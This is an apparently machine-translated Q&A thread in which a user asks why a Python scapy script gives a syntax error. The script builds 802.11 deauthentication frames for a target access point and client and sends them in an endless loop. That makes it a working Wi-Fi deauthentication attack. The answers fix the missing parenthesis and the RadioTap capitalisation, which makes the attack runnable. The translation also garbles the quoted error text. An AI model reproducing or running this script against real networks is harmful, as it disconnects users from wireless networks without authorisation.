python3和2.7.6在^ ^时给我语法错误

时间:2016-05-08 15:03:14

标签: python-2.7 python-3.4 scapy

所以我正在测试这段代码,(我对python来说相当新), 但我尝试用python 2.7.6和python3运行它们,他们都给了我这个错误

  

虽然是真的:           ^   SyntaxError:语法无效

(箭头指向while)

这是代码

import time
from scapy.all import *

iface = "mon0"
timeout = 1

if len(sys.argv) < 2:
 print (sys.argv[0] + " <bssid> [client]")
 sys.exit(0)

else:
 bssid = sys.argv[1]

if len(sys.argv) == 3:
 dest = sys.argv[2]

else:
 dest = "ff:ff:ff:ff:ff:ff"

pkt = radioTap() / \
 Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid / \
 Dot11Deauth(reason=3)


while True:
 print ("Sending deauth to " + dest)
 sendp(pkt,iface=iface)
 time.sleep(timeout)

如果有人也可以解释那里有什么&#34; / \&#34;在python做,感恩不过。

干杯

2 个答案:

答案 0 :(得分:0)

缺少右括号

pkt = radioTap() / \
 Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / \
 Dot11Deauth(reason=3)

符号\用于将长行分成较短的行,例如

if a == True and \
   b == False

scapy package

中的运算符/已超载
  

/运算符已被用作两层之间的合成运算符。这样做时,较低层可以根据上层重载其一个或多个默认字段。 (你仍然可以给出你想要的价值)。

还有输入错误:RadioTap()应以大写字母R开头

答案 1 :(得分:0)

试试这样:

while (True):
 print ("Sending deauth to " + dest)
 sendp(pkt,iface=iface)
 time.sleep(timeout)